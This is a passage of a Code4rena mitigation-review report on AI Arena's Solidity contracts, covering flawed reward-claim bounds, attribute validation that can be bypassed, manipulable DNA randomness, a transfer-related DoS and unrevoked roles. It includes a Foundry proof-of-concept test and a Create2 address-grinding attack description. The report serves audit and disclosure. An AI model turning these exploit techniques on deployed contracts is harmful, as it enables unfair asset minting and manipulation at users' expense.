In both cases, rounds were iterated up to the current round ID non inclusively.
Mitigation
Now the issue in both functions is fixed thanks to an additional input uint32 totalRoundsToConsider
which allows users to loop fewer rounds per call. However, the input validation of totalRoundsToConsider
in MergingPool::claimRewards
is incorrect:
require(lowerBound + totalRoundsToConsider < roundId, "MergingPool: totalRoundsToConsider exceeds the limit");
uint8 generation = _fighterFarmInstance.generation(0);
for (uint32 currentRound = lowerBound; currentRound < lowerBound + totalRoundsToConsider; currentRound++) {
lowerBound + totalRoundsToConsider
can at most be equal to roundId - 1
, which means that claimRewards() will loop, at most, till roundId - 2
. Therefore, it’s not possible to claim MergingPool rewards for the last round, only for rounds previous to it.
Note that this was correctly implemented in the RankedBattle::claimNRN
fix.
Suggestion
Change
require(lowerBound + totalRoundsToConsider < roundId, "MergingPool: totalRoundsToConsider exceeds the limit");
to
require(lowerBound + totalRoundsToConsider <= roundId, "MergingPool: totalRoundsToConsider exceeds the limit");
Conclusion
The mitigation works well but introduces an issue because the new function input is wrongly validated.
This is not a persistent DoS / stuck, but it is unfair for participants in the last round, even though the round is rolled over by the administrator. This also implies that there are scenarios where the round pauses. Overall, this type of non-persistent partial DoS/logic error in invariants falls under category Medium, IMO.
A player who wants to call MergingPool.claimRewards()
has to pass parameters with at least winnersLength
elements
Submitted by niser93
Severity: QA (Low / Non-Critical)
Related to mitigation of: M-03
M-03 finding reports that Fighter created by mintFromMergingPool can have arbitrary weight and element
.
To mitigate this issue, developers added two lines to MergingPool.claimRewards() method, that is the only one which can call FighterFarm.mintFromMergingPool()
:
MergingPool.sol#L142-L175
function claimRewards(
string[] calldata modelURIs,
string[] calldata modelTypes,
uint256[2][] calldata customAttributes,
uint32 totalRoundsToConsider
)
external nonReentrant
{
uint256 winnersLength;
uint32 claimIndex = 0;
uint32 lowerBound = numRoundsClaimed[msg.sender];
require(lowerBound + totalRoundsToConsider < roundId, "MergingPool: totalRoundsToConsider exceeds the limit");
uint8 generation = _fighterFarmInstance.generation(0);
for (uint32 currentRound = lowerBound; currentRound < lowerBound + totalRoundsToConsider; currentRound++) {
numRoundsClaimed[msg.sender] += 1;
winnersLength = winnerAddresses[currentRound].length;
for (uint32 j = 0; j < winnersLength; j++) {
+ require(customAttributes[j][0] < _fighterFarmInstance.numElements(generation), "MergingPool: element out of bounds");
+ require(customAttributes[j][1] >= 65 && customAttributes[j][1] <= 95, "MergingPool: weight out of bounds");
if (msg.sender == winnerAddresses[currentRound][j]) {
_fighterFarmInstance.mintFromMergingPool(
msg.sender,
modelURIs[claimIndex],
modelTypes[claimIndex],
customAttributes[claimIndex]
);
claimIndex += 1;
}
}
}
if (claimIndex > 0) {
emit Claimed(msg.sender, claimIndex);
}
}
These two lines check the values of customAttributes
passed by the player who is claiming the reward.
We want to report two issues:
Unmitigated risk
It is still possible to pass customAttributes
out of the bound. For example, if the maximum value of winnersLength
is 5 and a player tries to claim 6 rewards, the 6th will be not checked. The following is a coded POC:
function testClaimRewardsCustomAttributesOutOfBound() public {
address user0 = vm.addr(1);
address user1 = vm.addr(2);
address user2 = vm.addr(3);
_mintFromMergingPool(user0);
_mintFromMergingPool(user1);
_mintFromMergingPool(user2);
uint256 totalRound = 6;
uint256[] memory _winners013 = new uint256[](2);
_winners013[0] = 0;
_winners013[1] = 1;
uint256[] memory _winners023 = new uint256[](2);
_winners023[0] = 0;
_winners023[1] = 2;
uint256 totalWinUser1 = 0;
for (uint i = 0; i < totalRound; i++) {
if (i%2 == 0) {
_mergingPoolContract.pickWinners(_winners013);
totalWinUser1 += 1;
} else {
_mergingPoolContract.pickWinners(_winners023);
}
}
string[] memory _modelURIs = new string[](totalWinUser1);
string[] memory _modelTypes = new string[](totalWinUser1);
uint256[2][] memory _customAttributes = new uint256[2][](totalWinUser1);
_modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
_modelTypes[0] = "original";
_customAttributes[0][0] = uint256(1);
_customAttributes[0][1] = uint256(80);
_modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
_modelTypes[1] = "original";
_customAttributes[1][0] = uint256(1);
_customAttributes[1][1] = uint256(80);
_modelURIs[2] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
_modelTypes[2] = "original";
_customAttributes[2][0] = uint256(10);
_customAttributes[2][1] = uint256(99);
vm.startPrank(user1);
_mergingPoolContract.claimRewards(
_modelURIs,
_modelTypes,
_customAttributes,
uint32(totalRound - 1)
);
uint256 numRewards = _mergingPoolContract.getUnclaimedRewards(user1);
assertEq(numRewards, 0);
assertEq(_fighterFarmContract.balanceOf(user1), 4);
}
Output:
emit FighterCreated(id: 5, weight: 99, element: 10, generation: 0)
However, M-03 is out of scope. I would just report that this risk is not mitigated.
The wrong usage of index forces players to create and pass an array of customAttributes
Even if a player want to claim one reward, he/she has to pass to MergingPool.claimRewards()
arrays with at least winnersLength
elements, where winnersLength
is the maximum value among winnerAddresses[round].length
for analyzed rounds (i.e. rounds in the selected interval).
We suggest to change these two lines:
@@ -156,9 +156,9 @@ contract MergingPool is ReentrancyGuard{
numRoundsClaimed[msg.sender] += 1;
winnersLength = winnerAddresses[currentRound].length;
for (uint32 j = 0; j < winnersLength; j++) {
- require(customAttributes[j][0] < _fighterFarmInstance.numElements(generation), "MergingPool: elemen
t out of bounds");
- require(customAttributes[j][1] >= 65 && customAttributes[j][1] <= 95, "MergingPool: weight out of b
ounds");
if (msg.sender == winnerAddresses[currentRound][j]) {
+ require(customAttributes[claimIndex][0] < _fighterFarmInstance.numElements(generation), "
MergingPool: element out of bounds");
+ require(customAttributes[claimIndex][1] >= 65 && customAttributes[claimIndex][1] <= 95, "
MergingPool: weight out of bounds");
_fighterFarmInstance.mintFromMergingPool(
msg.sender,
modelURIs[claimIndex],
M-03: Unmitigated
Submitted by fnanni, also found by niser93
Related to mitigation of: M-03: Fighter created by mintFromMergingPool can have arbitrary weight and element
Comments
When users minted new fighters through the MergingPool, validation for weight
and element
values, passed as input in the customAttributes
array, was missing. Therefore, winners of MergingPool NFTs could arbitrarily assign any weight
and element
to their new fighters.
Mitigation
The fixed implemented introduces input validation for the custom attributes provided in MergingPool::claimRewards
. element
is required to be smaller than the total number of possible elements for the current generation, while weight
is required to be in the [65, 95] range:
require(customAttributes[j][0] < _fighterFarmInstance.numElements(generation), "MergingPool: element out of bounds");
require(customAttributes[j][1] >= 65 && customAttributes[j][1] <= 95, "MergingPool: weight out of bounds");
Users calling claimRewards provide one pair of customAttribute per claimable NFT. However, the customAttributes
index checked is not the appropriate index claimIndex
but the winnerAddresses
index j
.
The most concerning consequence of this bug is that the custom attribute values could bypass the element and weight requirements if the custom attribute index for a given claim is greater than the max number of winners of the rounds iterated. For example, if there is 1 winner per round for several rounds in a row and a player wins two rounds, customAttributes[1]
would not be checked and customAttributes[0]
would be checked repeatedly.
Suggestion
Change
for (uint32 j = 0; j < winnersLength; j++) {
require(customAttributes[j][0] < _fighterFarmInstance.numElements(generation), "MergingPool: element out of bounds");
require(customAttributes[j][1] >= 65 && customAttributes[j][1] <= 95, "MergingPool: weight out of bounds");
if (msg.sender == winnerAddresses[currentRound][j]) {
_fighterFarmInstance.mintFromMergingPool(
msg.sender,
modelURIs[claimIndex],
modelTypes[claimIndex],
customAttributes[claimIndex]
);
claimIndex += 1;
}
}
to:
for (uint32 j = 0; j < winnersLength; j++) {
if (msg.sender == winnerAddresses[currentRound][j]) {
require(customAttributes[claimIndex][0] < _fighterFarmInstance.numElements(generation), "MergingPool: element out of bounds");
require(customAttributes[claimIndex][1] >= 65 && customAttributes[claimIndex][1] <= 95, "MergingPool: weight out of bounds");
_fighterFarmInstance.mintFromMergingPool(
msg.sender,
modelURIs[claimIndex],
modelTypes[claimIndex],
customAttributes[claimIndex]
);
claimIndex += 1;
}
}
Conclusion
The implemented mitigation is incorrect. In some scenarios, the element and weight values input in MergingPool::claimRewards
could still be arbitrarily set, ignoring the intended input validation.
M-05: Unmitigated
Submitted by fnanni and niser93 (1, 2), also found by d3e4 (1, 2, 3)
Note: the content from two separate warden reports is included here, as the judge noted:
Issue #5 is the best among all reports related to the mitigations for
M-05
, and issue #18 supplements it with details about the issue of random number prediction in the original contest.
Issue 5
Lines of code:
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/blob/1192a55963c92fb4bd9ca8e0453c96af09731235/src/FighterFarm.sol#L366
Related to mitigation of: Issue 1017: Users can get benefited from DNA pseudorandomly calculation
Comments
Before, the pseudorandom derivation of new fighters’ DNA was vulnerable to manipulation in several ways:
- owner address manipulation in
FighterFarm::claimFighters
andFighterFarm::reRoll
. - users could freely choose
mintPassDnas
values to pass toFighterFarm::redeemMintPass
. - users could delay the minting of fighters till
fighters.length
resulted in a beneficial DNA inFighterFarm::mintFromMergingPool
inFighterFarm::claimFighters
. - it was possible to know in advance which re-roll would result in the best DNA in
FighterFarm::reRoll
, because ofnumRerolls[tokenId]
being used to generate the DNA hash.
Mitigation
PR #11
This issue has been only partially mitigated.
FighterFarm::redeemMintPass
There’s one instance in which the mitigation works. FighterFarm::redeemMintPass
now relies on a trusted _delegatedAddress
which controls what parameters are being used, including the mintPassDnas
values which are keccak256
hashed into DNAs. This fix was introduced as mitigation of H-03.
FighterFarm::claimFighters
On the other hand, FighterFarm::claimFighters
now relies as well on a trusted _delegatedAddress
, but it signs:
bytes32 msgHash = bytes32(keccak256(abi.encode(
msg.sender,
numToMint[0],
numToMint[1],
nftsClaimed[msg.sender][0],
nftsClaimed[msg.sender][1]
)));
and then msg.sender
, nftsClaimed[msg.sender][0]
and nftsClaimed[msg.sender][1]
are used to generate the DNA hash. In all scenarios in which msg.sender could be manipulated, for example if promotional campaigns are run in which users could precompute and use the address resulting in the best DNA, the issue remains unmitigated. Note that nftsClaimed[msg.sender]
values of newly generated addresses are always 0 and numToMint
could probably be known or assumed in advance.
Another consequence of the fix that seems incorrect is that all fighters minted within a FighterFarm::claimFighters
call will have the same DNA, because msg.sender
, nftsClaimed[msg.sender][0]
and nftsClaimed[msg.sender][1]
don’t change among iterations in:
for (uint16 i = 0; i < totalToMint; i++) {
_createNewFighter(
msg.sender,
uint256(keccak256(abi.encode(msg.sender, nftsClaimed[msg.sender][0], nftsClaimed[msg.sender][1]))),
modelHashes[i],
modelTypes[i],
i < numToMint[0] ? 0 : 1,
0,
[uint256(100), uint256(100)]
);
}
Note that previously fighter.length
would increase as each fighter was minted, and therefore each fighter would have a different DNA.
FighterFarm::mintFromMergingPool
FighterFarm::mintFromMergingPool
now sets the new dna to uint256(keccak256(abi.encode(to, fighters.length)))
, making the dna dependent on the current amount of fighters and the user address. Using to
is relatively safe, taking into account that winners of NFTs in the MergingPool raffle would have to play the game for probably a long time before they win, so manipulating the address in advance would require a lot of speculation on several variables they don’t control.
However, users calling this function have full control regarding when to call MergingPool::claimRewards
. This means that users can delay the claim till fighters.length
results in a DNA they like, which can be accomplished by pre-computing the expected DNAs for all the following fighters.length
values.
FighterFarm::reRoll
In this case msg.sender
is no longer used for the DNA generation, but it is vulnerable since it still uses tokenId
and numRerolls[tokenId]
. tokenId
is to some extent manipulable, because ids are incremental and users claiming new fighters have full control of when they execute the claim. Additionally, all possible re-rolling DNAs could be calculated in order to know which one will be the best one.
With this information, players could choose to some degree the token ID of their new fighter and re-roll it up to maxRerollsAllowed
times until they get their desired DNA. There could even be a front-running madness scenario for claiming new fighters with exceptionally good token IDs, since re-rolled DNAs depend on token ID and amount of re-rolls.
Suggestion
- Don’t use the current amount of minted fighters (
fighters.length
) as a randomness source, since users could take advantage of it and speculate on dnas they could get if they wait for minting. - Speculating on
fighters.length
also means that user can speculate on token IDs. Avoid using token IDs for DNA re-rolling, since it can be manipulated to some degree. - Avoid using
msg.sender
inFighterFarm::claimFighters
.
Conclusion
The mitigation does not fully solve the DNA generation issues.
Issue 18
Old lines of code: https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L324
Mitigated lines of code: https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/blob/setUpAirdrop-mitigation/src/FighterFarm.sol#L366
Vulnerability details
The issue was reported in #578 and #1017.
The vulnerability is inside FighterFarm.mintFromMergingPool():
FighterFarm.sol#L307-L331
307 /// @notice Mints a new fighter from the merging pool.
308 /// @dev Only the merging pool contract address is authorized to call this function.
309 /// @param to The address that the new fighter will be assigned to.
310 /// @param modelHash The hash of the ML model associated with the fighter.
311 /// @param modelType The type of the ML model associated with the fighter.
312 /// @param customAttributes Array with [element, weight] of the newly created fighter.
313 function mintFromMergingPool(
314 address to,
315 string calldata modelHash,
316 string calldata modelType,
317 uint256[2] calldata customAttributes
318 )
319 public
320 {
321 require(msg.sender == _mergingPoolAddress);
322 _createNewFighter(
323 to,
324 uint256(keccak256(abi.encode(msg.sender, fighters.length))),
325 modelHash,
326 modelType,
327 0,
328 0,
329 customAttributes
330 );
331 }
This function can be called only by the merging pool contract
. This means that msg.sender
must be _mergingPoolAddress
.
However, msg.sender
is also used as dna
parameter of _createNewFighter()
(line L324).
Impact
Even if an attacker can’t exploit this bad randomness to obtain better fighters, players could forecast the attributes of fighters that will be created in the future, due to the bad randomness caused by this issue.
Recommended Mitigation proposed by wardens
The mitigation proposal is to replace msg.sender
in line L324 with the address to
, that should represents the player who calls MergingPool.claimRewards():
FighterFarm.sol#L307-L331
/// @notice Mints a new fighter from the merging pool.
/// @dev Only the merging pool contract address is authorized to call this function.
/// @param to The address that the new fighter will be assigned to.
/// @param modelHash The hash of the ML model associated with the fighter.
/// @param modelType The type of the ML model associated with the fighter.
/// @param customAttributes Array with [element, weight] of the newly created fighter.
function mintFromMergingPool(
address to,
string calldata modelHash,
string calldata modelType,
uint256[2] calldata customAttributes
)
public
{
require(msg.sender == _mergingPoolAddress);
_createNewFighter(
to,
- uint256(keccak256(abi.encode(msg.sender, fighters.length))),
+ uint256(keccak256(abi.encode(to, fighters.length))),
modelHash,
modelType,
0,
0,
customAttributes
);
}
This solution was implemented by the Ai Arena team.
Comment about the Mitigation Proposal
This finding belongs to a group of issues that reported the low randomness of dna. Two of the most important are #53 and #519. The root cause is that msg.sender
can be a bad source of randomness because an attacker could create a malicious contract at the wanted address using, for example, Create2.
In the case above, before the mitigation, nobody could exploit the vulnerability, because the msg.sender
value was always the _mergingPoolAddress
. After the mitigation, the dna
of the new fighter relies on the caller’s address. So, the mitigation could introduce the possibility of manipulating the msg.sender
address and obtaining wanted attributes.
Attack Vector
Let’s think that before the current round, fighters.length
into FighterFarm.sol is 0. Eve locally tries many combinations and finds that the tuple (address_E, fighters.length=3)
permits creating a very rare fighter: Eve can forecast this is because she can exploit the line FighterFarm.sol#214:
FighterFarm.sol#214
214 uint256(keccak256(abi.encode(msg.sender, fighters.length))),
to obtain dna
and then use its value to precompute the new fighter’s physical attributes:
FighterFarm.sol#L510-L515
510 FighterOps.FighterPhysicalAttributes memory attrs = _aiArenaHelperInstance.createPhysicalAttributes(
511 newDna,
512 generation[fighterType],
513 iconsType,
514 dendroidBool
515 );
Now, Eve creates a new contract at address_E
and tries to win the current round (for example using a new fighter redeemed with a mint pass).
If she wins, she could call MergingPool.claimRewards()
just after someone else has obtained the fighter number 3 (in other words, when fighters.length=3).
We know this attack vector could be hard to perform, but we have to report the consequences of mitigation. To solve the bad randomness introduced by this mitigation, we propose to implement something like FighterFarm.redeemMintPass() where the dna
is obtained from an external source (for example, from a backend server) and cannot be manipulated by the caller.
Conclusions
In conclusion, the proposed mitigation solves the initial bad randomness due to too little dna
combinations space. However, it doesn’t solve the issue reported by #1017:
In this function a user can not manipulate the output hash, however, he can compute the hash for the upcoming fighters,
because when a new fighter is created, the fighters.length will change along with the output hash. As a result,
a user can claim the MergingPool reward to mint and NFT when the output hash will be benefitial for him.
The malicious user can still forecast the outcome fighter attributes and claim the MergingPool reward when it is more convenient for him/her. Furthermore, it introduces the possibility to manipulate the msg.sender
value to obtain a wanted dna
and, so, a fighter with wanted valuable and rare attributes. We are going to report this comment as “unmitigated” and the attack vector above as a “new finding”.
M-06: Unmitigated
Submitted by d3e4
Related to mitigation of: M-06: NFTs can be transferred even if StakeAtRisk remains, so the user’s win cannot be recorded on the chain due to underflow, and can recover past losses that can’t be recovered (steal protocol’s token)
There are two possibilities of revert due to underflow triggered in RankedBattle.updateBattleRecord()
.
- In
RankedBattle._addResultPoints_()
:accumulatedPointsPerAddress[fighterOwner][roundId] -= points
. The impact is that a fighter with accumulated points, which is transferred to a new address cannot be recorded in a loss. - In
StakeAtRisk.reclaimNRN()
:amountLost[fighterOwner] -= nrnToReclaim;
. The impact is that a fighter with some stake at risk cannot be recorded in a win until it has lost.
Both of the above only apply to the round in which the fighter was transferred.
There was also an impact reported that a transferred fighter could be used to reclaim losses from a previous round. I consider this aspect invalid, since the new owner cannot gain more than the old owner could (re)gain. It might however be considered an issue that a fighter with stake at risk can be transferred since this is almost the same as transferring a staked fighter. This does not quite seem to be the initial issue reported, but it is fixed anyway by fix 1490.
Mitigation review - mootly mitigated and causes an even worse DoS
A new variable addressStartedRound[tokenId][roundId]
has been added, with a check that reverts if the owner of the tokenId
has changed from a previous call in the round. That is, only fights under the first owner can be updated.
So this now reverts in a superset of the original cases. It balances the exploitability for profit, but now any fighter transfer will cause a DoS of the game server trying to call updateBattleRecord()
. If a fighter is transferred then all matches with this fighter will lead to a revert. This can be quite significant. If fighters are paired at random and 10% of fighters have been transferred then over 19% of all matches will revert. Since there is no time in between rounds, this will be an issue whenever a fighter is transferred. The round id is also not emitted when a fighter is transferred so it would be difficult for the game server to fairly exclude transferred fighters.
This is perhaps an error rather than a failed mitigation, but since this error renders the initial issue moot, I leave it here as an unmitigated M-06 rather than reporting it as an error separately.
Recommended Mitigation Steps
It seems the intention is to lock a fighter as long as it is staked on, but otherwise freely allow transfers.
accumulatedPointsPerAddress
and amountLost
are just convenience variables, and never used for validation. They could simply be removed, or it would make sense to make them signed integers. That would be sufficient to mitigate this underflow revert.
The issue that a fighter can be transferred with stake at risk has been fixed independently in fix 1490, rather than fix 137. Now a fighter has to be completely clear of stake and stake at risk in order to be transferred.
Thus removing the addressStartedRound
check and instead making accumulatedPointsPerAddress
and amountLost
signed integers, or just removing them, solves all these issues related to M-06.
Makes sense IMO.
brandinho (AI Arena) commented:
The conclusion that our mitigation will result in a worse DoS is incorrect. It is based on a number of assumptions that are wrong:
- “Since there is no time in between rounds”. This is wrong - for the mitigation review, we introduced
rankedOpen
variable in the Ranked Battle smart contract to specifically allow for time in between rounds.- “The round id is also not emitted when a fighter is transferred so it would be difficult for the game server to fairly exclude transferred fighters”. This is also wrong in the sense that it’s difficult to exclude transferred fighters. We can easily do this with two multi-calls:
ownerOf
andaddressStartedRound
. We’ve been running similar exclusion multi-calls on testnet for months now - our tests were with thousands of NFTs on testnet. When we launch on mainnet, we are launching with 420 NFTs, and having low double digit inflation in NFTs per year. The multi-calls will always be manageable for excluding transferred fighters.- “If a fighter is transferred then all matches with this fighter will lead to a revert”. This assumes that we will allow these matches - we will not.
- Players can ONLY initiate ranked battle through our app. They cannot interact with the game server directly. We already block attempts to initiate ranked battle if a fighter has been transferred, and inform the user that they have to wait until the next round.
As such, I believe we did appropriately mitigate this issue.
If our close-source backend indeed perfectly limits the above mentioned issues, then I think our mitigation is good.
However, I believe that Warden’s judgments and speculations based on the on-chain open-source code are completely in line with a reasonable client design.
- rankedOpen: its a flag like enable/disable, instead of a time locker. Without the context of the backend code, I believe no one knows this is a “time locker”.
- If its only for 420 NFTs, indeed, it will not be dragged down by long connections. But there has never been such a hard cap in the open source on-chain code. The warden’s suggestion is based on reasonable assumptions from normal client development.
In summary, in the context of the open-source on-chain code of the contest, this issue makes sense.
If we believe that we have implemented sufficient restrictions in our backend code to avoid all this, then indeed we can believe that we have fixed the issue. However, these codes have now moved beyond the context of the current codebase of the contest, IMO.
M-08: Unmitigated
Submitted by d3e4
Related to mitigation of: M-08: Burner role can not be revoked
The issues were that the burner role in GameItems.sol, and the staker role in FighterFarm.sol (see duplicate #710) cannot be revoked.
Mitigation review - only case of burner role fixed
setAllowedBurningAddresses()
in GameItems.sol has been replaced by an adjustBurningAccess()
.
The staker role in FighterFarm.sol still can only be added.
Recommended mitigation steps
Similarly implement an adjustStakerAccess()
instead for the staker role in FighterFarm.sol.
Note: for full discussion, see warden’s original submission.
Disclosures
C4 is an open organization governed by participants in the community.
C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.